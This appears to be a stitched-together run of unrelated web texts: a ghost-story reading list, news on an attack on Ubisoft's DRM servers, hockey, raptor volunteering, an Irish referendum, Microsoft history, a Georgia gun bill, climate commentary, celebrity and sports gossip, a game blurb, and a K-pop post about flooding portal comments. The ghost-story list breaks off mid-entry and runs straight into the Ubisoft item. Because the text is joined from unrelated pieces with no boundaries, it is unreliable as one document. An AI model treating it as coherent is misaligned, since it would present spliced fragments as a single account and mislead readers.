Three testimonies converge in this suspenseful murder-mystery-ghost-story: a college-aged son, a murderer, and a dead woman whose statement is made through a medium. Strangled by an intruder, the woman tells of a night when she finally reunites with her husband and son — and they flee her ghostly arms. Why? Who killed her? Bierce lets us play detective, judge, and jury.
“Pomegranate Seed” by Edith Wharton (from The Ghost Stories of Edith Wharton)
You’ve removed the portrait of your new husband’s (dead) first wife. Now, he’s receiving letters penned in a feminine hand — and he won’t show them to you. What can you do? If you’re Charlotte, a middle-class woman who frets formalities, you pretend not to worry — even when your husband disappears. Wharton claimed ghosts lurk in “the silent hours” of daily life; what silence is richer than unspoken fear?
“The Great Divorce” by Kelly Link (from Magic For Beginners)
“There once was a man whose wife was dead. She was dead when he fell in love with her, and dead for the twelve years they all lived together, during which time she bore him three children, all of them dead as well…” So begins Link’s hilarious take on a “mixed” marriage now as “dead as a doorknob.”
Harrowing Returns. “You ever been in the grave? It sucks so bad!”
“Sometimes They Come Back” by Stephen King (from Night Shift)
This is the ultimate teacher-anxiety nightmare. As a child, Jim Norman watched a gang of bullies murder his brother. Twenty years later, students in Jim’s high school class are dying, and the empty seats fill with…the ghosts of his brothers’ killers. Like Jim, we’ve all felt defenseless; we recognize his desperation as he takes gruesome measures. As King says, fear is shaped like a body under a sheet, and that body is our own.
“The Ghost” by Anne Sexton (from The Literary Ghost, edited by Larry Dark)
“I bother the living,” says the ghost of a Victorian lady who haunts her unfortunate descendent by breaking her hip, giving her fevers, sabotaging her birth control — and humming a little song into her head during sex. But the story turns sinister when the ghost lays claim to her descendant’s writing: “How the song of the mistletoe rips through the metal of death and plays on, singing from two mouths, making me a loyal ghost.”
“Sea Oak” by George Saunders (from Pastoralia)
We begin in a male strip club called Joysticks, where our narrator worries about his Cute Rating. The family he supports lazes around eating beenie-weenies and watching How My Child Died Violently. Then sweet Aunt Bernie dies, and the real absurdity begins. “We gotta eat right to look our best,” the rotting corpse of Bernie says, declaring her plans. “Because I am getting me so many lovers.”
Freaky Kids. “He might try to help you, in his way. And that could be horrible.”
“It’s a Good Life” by Jerome Bixby (from Masters of Science Fiction, Vol. 2: Jerome Bixby)
What if a three year-old ruled the world? Little Anthony does in this classic short story, which you may remember it as an iconic episode of The Twilight Zone. When Little Anthony plays with a rat, he makes it eat itself. When Little Anthony “hears” your bad thoughts, he puts you in the graveyard — although once in a while, he brings you back. Everything and everyone around Little Anthony must be good and wonderful — or else.
“The Cold Boy” by Benjamin Percy (from Gulf Coast 23.1, Winter/Spring 2011)
Ray doesn’t know much about the boy he’s babysitting — is he 6? 7? — except that he’s just fallen into an icy pond. Thankfully, the boy’s body floats up — and the he spits out water, awakes. But something is wrong. The boy wants to eat nothing but ice cream. His footprints are puddles. He won’t speak. And all the while, crows watch from the trees, waiting for the next cold snap.
“Haunting Olivia” by Karen Russell (from St. Lucy’s Home For Girls Raised By Wolves)
Ubisoft's controversial new digital rights management solution went gone live for both Assassin's Creed II and Silent Hunter V this weekend, only to go dead for a large number of users shortly thereafter. The DRM system requires users be connected to the internet while playing the game in order for it to function, and many players reported not being able to connect to Ubisoft, which meant they were not able to play.
Yesterday Ubisoft community managers were telling people that the downtime was due to high demand. Now Ubisoft's Twitter tells a different story.
Apologies to anyone who couldn't play ACII or SH5 yesterday. Servers were attacked which limited service from 2:30pm to 9pm Paris time
So while there was indeed strong demand, it was artificial demand, created via a denial-of-service style attack that affected at least one of Ubisoft's servers. From the Twitter:
95% of players were not affected, but a small group of players attempting to open a game session did receive denial of service errors
Hacking attacks on Ubisoft's new DRM system were hardly unexpected, considering it has already been attacked on a regular basis by fans and critics.
While it may still be alienating players, at least the DRM is getting the job it was intended to perform done, as Ubisoft's Twitter proudly proclaims.
We're happy to say ACII & SH5 are withstanding the efforts to crack them. We see the rumours but still confirm no valid cracked versions exist
According to a report from Sportsnet’s Nick Kypreos, Jason Botterill will be announced as the Buffalo Sabres next general manager once the Capitals/Penguins series concludes.
We recently reported on comments made by John Wawrow of the Associated Press, in relation to the Buffalo Sabres‘ search for their next General Manager. Speaking during a segment on WBEN 930AM, Wawrow essentially said the Sabres would confirm who the new GM was, before the end of last week.
Well, that time has come and gone, and there has still been no official announcement. However, it apparently turns out this has nothing to do with the organization still contemplating their options.
To the contrary, as reported by WGR 550‘s Paul Hamilton, it appears Jason Botterill will take over the position recently vacated by Tim Murray. Hamilton referred to comments made by Sportsnet‘s Nick Kypreos on Hockey Night in Canada:
“It’s a forgone conclusion out of Pittsburgh that Jason Botterill will be named the next general manager of the Buffalo Sabres,” said Kypreos. “Terry Pegula is a longtime admirer of the blueprint that has come out of Pittsburgh that’s led to two championships, and of course Botterill has a big part of that.”
In that respect, it is Botterill’s current involvement with the Penguins’ organization, which is holding up the announcement. Whether it be at the request of the Penguins or the NHL, Kypreos added that the Sabres will wait until the conclusion of the current playoff series with the Capitals, before making anything official.
Assuming this is the case, the 40-year old is someone sports fans in Western New York are familiar with. The former winger concluded his playing career with the Sabres organization, before retiring in 2005.
Since then, Botterill has built up an impressive list of accomplishments, including receiving his MBA from The Stephen M. Ross School of Business at the University of Michigan. He also worked in the NHL offices and spent a year as scout for the Dallas Stars.
In respect of more relevant experience, the Edmonton, Alberta native was named assistant GM for the Penguins in 2009, before becoming associate GM in June 2014. As noted by John Vogl of The Buffalo News, he has earned a reputation for being a salary cap expert.
It is this experience which has apparently persuaded Pegula to offer Botterill the opportunity to become the Sabres’ next GM. In theory, the official announcement could come in the next couple of days, with the Penguins holding a 3-2 series lead over the Capitials and playing Game 6 on Monday night.
If you’ve been bitten by the bird bug while strolling through the Presidio, picnicking at Crissy Field, or hiking the Marin Headlands, you’re in good company—scientists, birders, volunteers, and casual observers have long admired the Golden Gate National Parks for the diversity of birds that appear in its many habitats.
At the Golden Gate Raptor Observatory (a Parks Conservancy program in cooperation with the National Park Service), about 300 volunteers focus their passion for birds by documenting the passage of birds of prey over Hawk Hill. Located in the Marin Headlands, this is the best spot on the West Coast for observing the fall migration of hawks, falcons, eagles, and vultures.
Our volunteers are definitely raptor-obsessed, but they also find working as citizen scientists for the GGRO to be a valuable way to meet new people, engage in cutting-edge research, and spend meaningful time in some stunning national parklands.
Hawks fill the skies above the Marin Headlands. George Eade
The GGRO recruits new volunteers each year, including this spring! All volunteers receive extensive training in raptor identification, and banding volunteers learn banding techniques from trained scientists and staff.
As we approach our volunteer recruitment period, we sat down with some of our volunteers to ask them why they love working with the GGRO. We’ll let them speak for themselves:
GGRO: How has your view of raptors changed since you began volunteering?
Steve Rock, Bander, 18 years
When I first started, I knew nothing about hawks other than that they were cool. I used to do a lot of paragliding, in which I flew with hawks, “thermal-ed” with hawks. And it was magical. Accipiters, not so much—I wouldn’t have known one if it had hit me in the head. So my view of hawks has expanded to include things like Merlins and Sharpshins, and things that go “flap-flap.”
Mary Kenney, Hawkwatcher, 22 years
To find out how many species we had just right in our own neighborhood was eye-opening. I can look up from my backyard, or as I’m driving along—keeping one eye on the road of course—and hawks are everywhere.
Siobhan Ruck releases a Sharp-shinned Hawk at a banding demo. GGRO
GGRO: How has your view of science evolved since you began volunteering?
Natasha Lekach, Intern, 1 year
I’ve learned that science is more accessible than it is typically presented to be. I think a lot of people see science as this big, scary thing that is hard to understand, and that you’re either a scientist or you’re not. GGRO creates this world where that divide doesn’t exist.
Christine Cariño, Bander & Hawkwatcher, 11 years (with a 16 year break in the middle!)
My view of science from a citizen perspective has changed—that citizens can contribute to science in a meaningful and significant way, whereas I think when I started, I would say only scientists can contribute in a meaningful and significant way.
Siobhan Ruck, Bander, 23 years
When I started with this program, I was in art school. A couple of years of being out here and seeing the amazing amount of new things that you could learn every day made me say, “Wow, I should have gone to school for biology!”
Marion Weeks holds a juvenile Red-tailed Hawk for radiotelemetry. GGRO
GGRO: Can you describe some of the relationships you’ve developed at GGRO?
John Farnsworth, Hawkwatcher, 3 years
When I first started, it was all about the birds. They’re so spectacular, and they still are. There’s nothing more beautiful than being on the top of the Hill and seeing a bird soaring. But after a while, it was more about my team. I spend the whole winter kind of missing them, and that experience. I’m ready to get back in August and get it going again.
Mary Kenney, Hawkwatcher, 22 years
Several people on my team have been there 10 years or more. These days, we not only get together on the Hill, but we get together to bird watch and to go hawkwatching at other places in the area, at other times of the year. My group really has become one of my families.
Marion Weeks, Bander, 24 years
You look forward to coming and having experiences that make you ecstatic—not only for yourself, but for another person, to see them enjoy what you’re so passionate about.
GGRO: What do raptors mean to you?
Candace Davenport, Bander, 10 years
I never was a raptor person until I watched a Peregrine pair online in San Francisco; they nested in the PG&E building. I was in my late 50s at the time, and never really had a passion. And all of a sudden, there were these birds.
Eileen Richey, Hawkwatcher, 10 years
Raptors mean the wilderness, the wild part of the Bay Area. It’s nice to know that in the midst of this huge metropolitan area full of traffic and people and all kinds of other things, there is actually a migration going on that’s been going on, probably for millennia.
Now it’s your turn!
Want to join the GGRO as a hawkwatcher or bander for our 32nd official migration season, this fall? Find more information about how to volunteer from our website, or at one of our upcoming recruitment meetings (attendance is strongly encouraged for prospective volunteers):
Wednesday, May 4 (7-9:30 pm)
Thursday, May 5 (7-9:30 pm)
Saturday, May 7 (10 am–12:30 pm)
Banner photo of hawkwatchers by Jessica Weinberg McClosky
The amendment - which would have been the 30th to the Constitution - sought to give more power to Oireachtas members to set up inquiries into matters deemed to be of public importance. The second amendment, on judicial pay, passed easily.
In a statement tonight, the Government said it welcomed the passing of the 29th amendment on judges' pay. However, the statement said it was "disappointing" the 30th amendment on Oireachtas inquiries had been "narrowly defeated". The Government said it accepted the people’s decision and will "reflect and carefully consider" the vote outcome.
The result on the Oireachtas inquiries comes as a blow to the Government, which was seeking to overturn a High Court judgement made in 2000 which stopped an Oireachtas inquiry into the fatal shooting of John Carthy at Abbeylara, Co Longford, during a stand-off with gardaí.
A total of 1,785,208 people voted on the amendment with 928,175 voting against and 812,008 voting in favour - a majority of 116,167.
Some 5,000 people who voted on the presidential election decided not to vote on the amendment.
There was reportedly confusion at many polling stations on Thursday, with some voters expressing concern about how the ballot papers for the two constitutional amendments – on the investigations and reducing judges’ pay - were presented.
Minister for Public Expenditure Brendan Howlin said he regarded “the proposals to empower Oireachtas committees as a fundamental reform that we need to do”.
A group of eight former attorneys-general came out against the referendum earlier this week, stating that that the proposals would seriously weaken the rights of individuals to their good name and provide insufficient protection for the independence of the judiciary.
Mr Howlin said confusion had been put into the minds of voters over the last few days and that attempts to dispel it and secure a decisive yes vote were not successful.
He said the referendums had perhaps received less consideration than expected as the “rollercoaster” presidential campaign had won much public and media attention.
“You’re fighting for space in that context on a complicated enough issue, and once significant opinion is voiced casting doubt on it I suppose the default position is No if they’re not clear,” he said.
The proposed 30th amendment provided for the setting-up of inquiries by the Oireachtas when it was decided to be in the public interest and for the balance between the rights of individuals appearing before them and the public interest in having the inquiry expeditiously to be decided by the Oireachtas.
The 30th Amendment to the Constitution proposed to renumber Article 15.10 of Bunreacht na hÉireann as 15.10.1 and insert the following subsections:
Each House shall have the power to conduct an inquiry, or an inquiry with the other House, in a manner provided for by law, into any matter stated by the House or Houses concerned to be of general public importance.
In the course of any such inquiry the conduct of any person (whether or not a member of either House) may be investigated and the House or Houses concerned may make findings in respect of the conduct of that person concerning the matter to which the inquiry relates.
It shall be for the House or Houses concerned to determine, with due regard to the principles of fair procedures, the appropriate balance between the rights of persons and the public interest for the purposes of ensuring an effective inquiry into any matter to which subsection 2 applies.
Earlier, this evening, the constitutional referendum on reducing judges’ pay was passed by a margin of more than one million votes.
A total of 1,785,707 people (79.3 per cent) voted in favour of the amendment, the 29th to the Constitution, with 354,134 (20.7 per cent) voting against. The result was announced at Dublin Castle by referendum returning officer Riona Ni Fhlanghaile shortly after 7pm.
About 5,000 people who voted on the presidential election decided not to vote on the amendment, and a further 37,696 ballots were deemed invalid.
There was reportedly confusion at many polling stations on Thursday, with some voters expressing concern about how the ballot papers for the two constitutional amendments – on judges’ pay and Oireachtas investigations - were presented.
The amendment was backed by the Government and aims to change Article 35.5 of the Constitution, which states: “The remuneration of a judge shall not be reduced during his continuance in office.”
It is proposed to replace this with the following wording.
“The remuneration of judges shall not be reduced during their continuance in office save in accordance with this section.
“The remuneration of judges is subject to the imposition of taxes, levies or other charges that are imposed by law on persons generally or persons belonging to a particular class.
PM Best Practices
Glen Alleman points out the judgment heuristics that introduce errors and biases in our discussions of the success rates of software projects.
Seth Godin notes the frustration some have with leaders who remain calm.
George Ellis reminds us that, as the leader, we should share credit but assume responsibility.
Bruce Benson finds additional lessons from the Oregon Health Insurance Exchange debacle.
Russell Whitworth describes the process of conducting a project health check. His agenda is well worth cribbing!
Gina Abudi tells of the importance of engaging all of the stakeholders – not just the ones with senior management titles.
Henny Portman describes an interesting one-page approach to communicating a program: the Program Canvas.
Latesha Goodman lists five collaboration tools increasingly in use a government agencies.
Lawrence Putnam identifies the ways in which estimates are refined throughout the project life cycle.
Agile Methods
Mike Cohn has an excellent suggestion: add requests for additional documentation to the product backlog.
Venkatesh Krishnamurthy spoke at the Agile PM meet-up in Melbourne, about Craig Larman’s Large Scale Scrum (LeSS) framework.
Maxim Kur identifies a number of misperceptions, logical flaws, and of bad reasons for struggling with Agile methods.
Don Kim notes a disturbing trend: Agile is becoming more rigid!
Diversity
Johanna Rothman reflects on being told that she was “too abrasive, too direct, maybe even too assertive.”
Kieran Snyder reports on her survey of women who have left the tech industry – it’s the culture. Managers, if you aren’t driving the solution, you’re part of this problem!
John Goodpasture points out the difference between inclusion and tolerance.
Naomi Caietti announces the first e-book in a series, written by five Glass Breaking women in leadership positions.
Elizabeth Harrin created a video diary of the APM’s Women in Project Management Special Interest Group 21st Anniversary conference. Just 5 minutes, safe for work.
Professional Development
Bruce Harpham begins a series on how project managers can learn and use the principles of strategy.
Matthew Wall reports on the impact of Big Data, gamification, and lexical analysis on selecting job applicants.
Henny Portman explains APMG’s new Agile Program Management framework and certification, apparently based on MSP.
Susanne Madsen explores the differences between management and leadership.
Michael Wood details the abilities and behavior traits required to become a successful, even great project manager.
Coert Visser reviews “The Marshmallow Test,” by Walter Mischel. “Willpower is not a predetermined and fixed characteristic of people but a learnable skill.”
Suzanne Lucas shares three management lessons learned at a Turkish wedding.
Enjoy!
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So let’s spool back a bit – to 1993. By then, the internet was roughly 10 years old, but for its first decade had been largely unknown to anyone other than geeks and computer science researchers. Two years earlier, Tim Berners-Lee had created and released the world wide web onto the internet, but initially no one noticed. Then in the spring of 1993, Marc Andreessen and Eric Bina released Mosaic – the first graphical browser – and suddenly the “real world” realised what the internet was for, and clamoured to get aboard.
But here’s the strange thing: Microsoft – by then the overwhelmingly dominant force in the computing world – failed to notice the internet. One of Bill Gates’s biographers, James Wallace, claimed that Microsoft didn’t even have an internet server until early in 1993, and that the only reason the company set one up was because Steve Ballmer, Gates’s second-in-command, had discovered on a sales trip that most of his big corporate customers were complaining that Windows didn’t have a “TCP/IP stack” – ie, a way of connecting to the internet. Ballmer had never heard of TCP/IP. “I don’t know what it is,” he shouted at subordinates on his return to Seattle. “I don’t want to know what it is. But my customers are screaming about it. Make the pain go away.”
But even when Microsoft engineers built a TCP/IP stack into Windows, the pain continued. Andreessen and his colleagues left university to found Netscape, wrote a new browser from scratch and released it as Netscape Navigator. This spread like wildfire and led Netscape’s founders to speculate (hubristically) that the browser would eventually become the only piece of software that computer users really needed – thereby relegating the operating system to a mere life-support system for the browser.
Now that got Microsoft’s attention. It was an operating-system company, after all. On May 26, 1995 Gates wrote an internal memo (entitled “The Internet Tidal Wave”) which ordered his subordinates to throw all the company’s resources into launching a single-minded attack on the web browser market. Given that Netscape had a 90% share of that market, Gates was effectively declaring war on Netscape. Microsoft hastily built its own browser, named it Internet Explorer (IE), and set out to destroy the upstart by incorporating Explorer into the Windows operating system, so that it was the default browser for every PC sold.
The strategy worked: Microsoft succeeded in exterminating Netscape, but in the process also nearly destroyed itself, because the campaign triggered an antitrust (unfair competition) suit which looked like breaking up the company, only to founder at the last moment. So Microsoft lived to tell the tale, and Internet Explorer became the world’s browser. By 2000, IE had a 95% market share; it was the de facto industry standard, which meant that if you wanted to make a living from software development you had to make sure that your stuff worked in IE. The Explorer franchise was a monopoly on steroids.
But it turned out to be a double-edged sword. Companies and large organisations built their IT infrastructure around Internet Explorer. The NHS, for example, has hundreds of thousands of PCs, and for years, if you wanted to sell software products to it, then they had to be able to run not just on IE but on a specific version (6) of the program. For all I know, that may still be the case.
So the very success of Microsoft in dominating the browser market in effect locked some of its biggest customers into an increasingly dysfunctional and insecure time warp. But Microsoft’s monopolistic grip on the PC operating system and office software market also rendered it blind to what was happening in the computing industry generally. Just as it missed the internet when it first appeared, Microsoft also missed the switch to cloud computing and mobile devices.
Allowing guns into government buildings that have no security is part of a bill waiting the governor's approval. Municipalities worry their budgets will grow as they forced to hire security.
RENEE MONTAGNE, HOST:
Since the mass shooting in Newtown, Connecticut, more than 70 measures have gone into effect around the U.S. actually loosening restrictions on guns. And tomorrow the governor of Georgia is expected to sign a bill that will allow gung to be carried in more places. Among those against the gun bill are cities in Georgia concerned about having to spend more on security. Susanna Capelouto has this report.
SUSANNA CAPELOUTO, BYLINE: Americans for Responsible Solutions, the group founded by former congresswoman Gabby Giffords, put out this ad.
(SOUNDBITE OF AD)
CAPELOUTO: The target here is a bill passed by state lawmakers last month that increases the number of places gun permit holders can go with their weapons.
(SOUNDBITE OF AD)
CAPELOUTO: But what finally passed fell a little short of what gun rights supporters were hoping for.
JERRY HENRY: Nowhere near everywhere. We wish it was everywhere, but it's not.
CAPELOUTO: Jerry Henry is with the group Georgia Carry, whose members worked to pass the bill. They lost on a proposal to allow guns onto college campuses. They compromised on carrying guns into churches and bars with what's known as an opt in provision, where a church or bar can decide to allow guns in. But one area where Henry's group can claim total victory is the right to carry weapons into unsecured government buildings.
HENRY: I want the right to defend myself no matter where I am, and right now when i go to a government building I have to go in undefended.
CAPELOUTO: That leaves counties and cities with only two options: either hire security to man the entrances at their government buildings or allow guns inside.
BETH ENGLISH: Do you take the chance and hope that everybody that comes inside any our buildings in our communities are going to be responsible people? I can't say that a hundred percent.
CAPELOUTO: Beth English is a city councilwoman in the South Georgia town of Vienna, population 4,000, and home of the official Georgia cotton museum. English thinks it would cost Vienna at least $60,000 to hire security for City Hall, and the city owned rec and community centers. The mayor of Vienna, Eddie Daniels, just returned from a mayors' conference where he says the gun bill and its cost were a hot topic.
MAYOR EDDIE DANIELS: It's going to increase all the budgets to be able to put these measures into place. You know, we have enough of our shoulder now that we're trying to maintain.
CAPELOUTO: The Georgia municipal association which represents over 500 cities has sent a letter to Governor Nathan Deal asking him to veto of the bill, but Deal has a 100 percent rating from the National Rifle Association, is running for re-election, and has signaled his support of gun rights. For Beth English this is not an issue of gun rights, but one of local control.
ENGLISH: I have a gun. I have a permit. I am totally not against having guns, but I am against being told as a city government we cannot establish that our city hall and our public buildings are going to be gun free spaces.
CAPELOUTO: Giving local governments the option to make their own gun laws is strongly opposed by the NRA and members of Georgia Carry. The groups Jerry Henry says they're lobbying for laws that strengthen state preemption.
HENRY: What state preemption says is that the only ones who can make any laws to control firearms is the General Assembly. And can you imagine how difficult it would be with 159 counties in this state and all of them being able to decide what they want to do? I mean, nobody would know where to go.
CAPELOUTO: Vienna city councilwoman English and Mayor Daniels want lawmakers to adjust the bill next year. That's when Georgia's legislature meets again. For NPR News, I'm Susanna Capelouto in Atlanta.
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She starts by asking why newspapers are no longer trusted – a good question, and one that may indeed be answerable. However the column quickly goes off the rails. First off, her headline “When the warmest year in history isn’t” doesn’t appear to be related to any actual content. Possibly it refers to the 1934/1998 hoohah from last year (again see posts passim for discussion on its irrelevance to global warming). Journalists don’t generally write their own headlines, but a vague connection to current events is the more usual practice.
Next, she gets the Oreskes’ Science and society paper story completely wrong (it was a sampling of literature and survived numerous challenges to its validity – see here and here). Then she uncritically quotes David Bellamy (a late-developing contrarian who used to present natural history programs on the BBC) who appears to think that an anti-GW article he wrote in 2004 is responsible for him not presenting BBC documentaries since 1994 (an event he had previously blamed on his running against John Major (then UK prime minister) in an election). She then throws in a few completely untrue ‘facts’ (i.e. “in every year since 1998, world temperatures have been getting colder” (not) and “in 2002, Arctic ice actually increased” (no it didn’t) or that there ‘has been no statistically significant warming since 1995″ (wrong again: 0.21 +/- 0.13 deg C/dec GISTEMP, OLS, 95% CI)). However, note that she is quoting Bellamy and Lindzen here, so that it can be plausibly claimed that she is just reporting the statements rather than endorsing their nonexistent truth value. Sneaky. She even quotes Marc Morano and the Erika Lovley Politico.com column in support of a contention that the consensus is collapsing. Oh dear.
In fact, the only bit of original reportage in the piece comes from the email from me; the rest of the article is simply a cut-and-paste of untrue and unverified claims strung together in a facsimile of logical argument. Why is it so hard for newspapers to insist that their columnists at least make an effort to check their facts? If she can email NASA about the GHCN issue, she could have emailed any number of people about the other points she made if she’d wanted to get it right.
The sad thing is that this kind of empty rhetoric is being employed at a time when maximum intellectual effort needs to be put into dealing with the energy and climate situation. As I’ve said elsewhere, the reflexive refusal of some commentators (on the right and, occasionally, the left) to come to terms with the reality of climate change is profoundly disappointing and an abdication of their potentially constructive role in public life.
William Shakespeare’s “The Tempest” is a treasure trove for the English language. Common phrases such as “all the devils are here,” “the stuff that dreams are made of,” “the past is prologue,” “strange bedfellows” and “brave new world” are all either derived or pulled directly from the text.
When it comes to expanding people’s means of communication, The Bard’s works are a gift that keeps on giving. A great example of that is a program developed at The Ohio State University to help kids with autism spectrum disorders (ASD) improve their speech and facial expressions by engaging with “The Tempest.”
The initiative, which unites the thespian talents of OSU’s Department of Theatre with the developmental disabilities expertise of the Nisonger Center, involves interaction between stage actors and children with autism. The former lead acting exercises that allow the latter to open up their emotions and expressions.
Why Shakespeare as opposed to, say, George Bernard Shaw or some other playwright? The answer lies in the way he wrote: His plays frequently employ meter and verse, exaggerated movements, and repetition.
“Those are key elements that kids with autism really thrive [on] and within which they can learn skills more efficiently,” explained Marc J. Tassé, director of the Ohio State Nisonger Center and professor in the departments of psychology and psychiatry.
According to Tassé, participants who went through the Shakespeare and Autism Research Project were measured against a control group of children with autism who didn’t go through it. He said the ones who participated in the 42-week program made significant strides in their ability to communicate and socialize over that time compared to their counterparts.
Kelly Hunter, artistic director of OSU’s Shakespeare and Autism Research Project, started working with children with autism 15 years ago. Early on, she used Shakespearean works to create sensory games to help those kids explore a range of emotions.
Hunter eventually brought her techniques to Ohio State’s Royal Shakespeare Company, where they were expanded and measured thanks in part to the Nisonger Center’s involvement.
She sees the program’s success as further demonstrating the deep, distinctive humanity in the works of this literary giant.
“Shakespeare gives you the opportunity to wake up to your own life,” Hunter explained. “It’s not just about watching Shakespeare’s plays, it’s about thinking about yourself as you’re watching them and taking that one step further. [It gives] the children the opportunity to explore what it feels like to be themselves, which often in their locked-away world of autism, they don’t get the opportunity to do.”
Watch the one-minute video above to see how this program is making “dramatic” improvements in the lives of kids with ASD.
“< div id=”atvi-text-569261” > <p>Pre-order Destiny at select retailers and receive admission to the Destiny Beta. Play it first. Become Legend.</p>”
That seems to be confirmation as good as any. Judging by that, preordering Destiny will most definitely grant you beta access on your console of choice. It would be silly for such a large company to launch a huge game and not do a stress test on the servers anyway. Bungie also previously did a public beta for Halo: Reach to test things out, so this certainly isn’t anything abnormal for them. This is monumental news to fans of Destiny and Bungie alike.
As for when the beta will launch, we still don’t know. We’ll continue to update as news rolls out.
Original post below:
The Destiny fans over at Reddit have discovered something very interesting over on Destiny’s official website.
Users of the website who tried to access the sites “news” page via an abnormal link were greeted with a broken, improperly formatted page, at the top of which shows a new link to a “Beta” page. The link, which is currently dead and points to nothing, appears to be an early sign that Bungie will be releasing a beta of the upcoming game soon. This would make sense considering that Bungie has been calling for signups of its User Research Beta Program recently via its Facebook and Twitter. Considering this is sure to be a multi-million dollar triple-A title being published simultaneously on four different consoles at once, a public (or private) beta is definitely something Bungie needs to make sure there are no terrible hiccups on launch date.
Destiny, Bungie’s first non-Halo game in over 12 years, is being published by Activision.
I’ve Reached (get it?) out to Bungie and Activision for any comment, and will report back if and when I hear from them.
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TORONTO — James Franco is going back in time and is back to Toronto.
The actor is producer and lead actor of 11/22/63, a nine-hour miniseries based on the 2011 novel by Stephen King.
The project will shoot until Oct. 19 in Toronto and other parts of Ontario.
Franco will play Jacob Epping, a high school English teacher in Maine who travels back in time to stop the assassination of John F. Kennedy.
READ MORE: Police arrest teen on set of James Franco miniseries
Chris Carter, T.R. Knight and Canada’s Sarah Gadon are also in the cast.
King’s novel focuses on a number of fictional characters but includes several real-life people, including Kennedy’s killer Lee Harvey Oswald.
A regular guest at the Toronto International Film Festival, Franco made 2008’s Camille in Toronto. (He also starred in last year’s controversial comedy The Interview, which was filmed in Vancouver.)
In 2010, Toronto played host to production of The Kennedys, an eight-episode miniseries starring Greg Kinnear as John F. Kennedy and Katie Holmes as Jacqueline Kennedy. The city’s Downsview Park doubled as the Dallas airport for scenes depicting the hours leading up to the president’s assassination on Nov. 22, 1963.
Last September, Warner Bros. and J.J. Abrams’ company Bad Robot announced a deal to produce a miniseries for U.S. streaming service Hulu.
King and Bridget Carpenter (Parenthood) are co-writers and executive producers.
Well, at least she didn’t try to pin it on Abraham Lincoln.
Via NY Post.
Hillary Clinton’s security detail hated her so much that they privately snickered after she accidentally fell and broke her arm when she was secretary of state in 2009, one of her former guards told the Post.
Clinton, then 61, was in the State Department basement on her way to meet President Obama when she took a spill — and ended up in the hospital for an operation to repair her shattered right elbow.
“We sort of got the last laugh. It was kind of like payback: You’re treating us like s–t. Hey karma is a bitch! We were smiling to ourselves,” the agent told The Post on Wednesday.
But Clinton, who frequently behaved like a diva-in-chief, according to the agent, made it worse by pointing the finger at her detail for the mishap.
“She blamed us for breaking her elbow, saying it was our fault and we could have prevented that. She’s bad news,” the agent said.
The agent’s account backed up FBI documents released this week that showed Clinton’s protective detail despised her for treating them with contempt.
“When I first met her, we were given specific instructions: don’t look at her, don’t look at her general direction and if you need to talk to her, keep it short and stay out of her way,” the agent told The Post….
By contrast, the security detail loved former Secretary of State Condoleezza Rice, Clinton’s predecessor who served under George W. Bush.
Black Hat Cooperative is an award-winning stealth game that pits you and an ally against robot agents that seek to remove you from the system. Explore complex levels filled with hidden dangers and work together to survive. Couch Co-op + Local Multiplayer Play with your friends on one computer. Choose Hammer and sneak past agents, collecting treasure, keys, and passwords along the way. Or choose Spice to get the bird’s eye view and guide your partner to treasure and safety. Information in the world and on the map must be pieced together to beat the levels. At this point there’s no support for online play. Hacking Superpowers Spice can use a hacking terminal to unlock special doors and freeze or blind enemies. But these superpowers require teamwork. Hammer must collect in-world “bits” and scan enemies to enable hacking. 12 Challenging Levels Each level is crawling with robot agents including the grunt, captain, king, or the hunter, who can sniff out your trail and chase you down. Environment challenges like laser traps and sound-detecting alarms keep you on your toes. Technology Black Hat Cooperative can be played with the Oculus Rift, HTC Vive, or with dual monitors. Hammer is in VR and plays with a gamepad or Vive controllers, while the other player uses the computer's display, mouse, and keyboard. Awards Mass Digi 2015: People’s Choice
Boston FIG 2014: Best Technical Quality and Best Multiplayer Awards
A representative for Peyton Manning has confirmed that Manning’s wife Ashley received medication from the Guyer Institute in Indianapolis.
Charlie Sly, the source of the human growth human allegations against Manning in Al Jazeera’s bombshell report, said while he was being secretly recorded that Ashley Manning received shipments of HGH. Ari Fleischer, a crisis management expert who has been hired by Manning, confirmed to the Washington Post that Ashley received shipments of medication from the Guyer Institute. He would not say what drug she was prescribed to.
The story Sly said he made up contained at least a bit of truth, though: The Guyer Institute did ship medication to Ashley Manning, Fleischer confirmed. Citing Ashley’s right to privacy, Fleischer declined to specify whether the medication was human growth hormone, which is banned by professional sports leagues and only legal to prescribe in America for a few specific conditions, such as growth hormone deficiency, HIV wasting syndrome and short bowel syndrome.
If nothing else, that proves that Sly wasn’t lying about everything he said when he was unaware he was being recorded. After the Al Jazeera report was published, Sly recorded a video (watch it here) claiming that the statements he made are “absolutely false and incorrect.” So is he lying about lying?
Manning has admitted he was treated at the Guyer Institute following his neck surgery in 2011, but he insists he never took any medications that were prescribed to his wife. He also says all of his treatment was overseen by the Indianapolis Colts and did not violate any NFL rules.
Here’s what it all boils down to: If you believe Manning is innocent, you believe his wife just happened to be receiving a prescription from the clinic where he was being treated at the same time he was recovering from multiple neck surgeries. Is it possible that was the case? Of course, but you must also ignore all the red flags associated with the founder of the clinic and the fact that Al Jazeera claims Ashley Manning received her shipments illegally.
I’m not sure why this generated so much concern – he’s playing a bad guy, so obviously him having “bad person tattoos” is entirely appropriate and in-character. It says a lot about the weak pussyness of our PC Internet culture when we can’t allow our fictional evildoers to be truly evil. However, I do agree that the folks behind B.A.P’s image did miss an opportunity to customise the symbolism so it was more effective and relevant to Korea, after all it’s not Russia that needs saving, it’s T-ara who need saving from netizen bullies… and it’s not jews that need beating, but Korean netizens! Let Kpopalypse show you how to be the kind of Internet bad-meaning-good guy on Korean portal sites that will make the likes of B.A.P’s artistic director go weak at the knees!
It’s been noticed by many that T-ara’s fanclub have been co-ordinating carefully and are active in swamping Korean portal articles with positive comments. Of course this is hilarious and a great tool to render Korean netizens and their evil craft of being salty bullying bitches powerless, but how to get in on the fun? Part of it would be to sign up to T-ara fan communities like Tiara Diadem, but then there’s the site navigation stuff which can be trickier. Navigating Korean online portals can be intimidating and confusing for non-Korean speakers, so hopefully this guide will help you through Nate and Naver, the two main online Korean news portals. Of course T-ara has been used as an example here for their continued relevance and incredible ability to giving Korean netizens the shits, but there’s no reason why you can’t employ these same techniques below to thwart netizen bullies who are cyberbullying any other entertainers or people you care about.
USING NAVER TO LEAVE COMMENTS
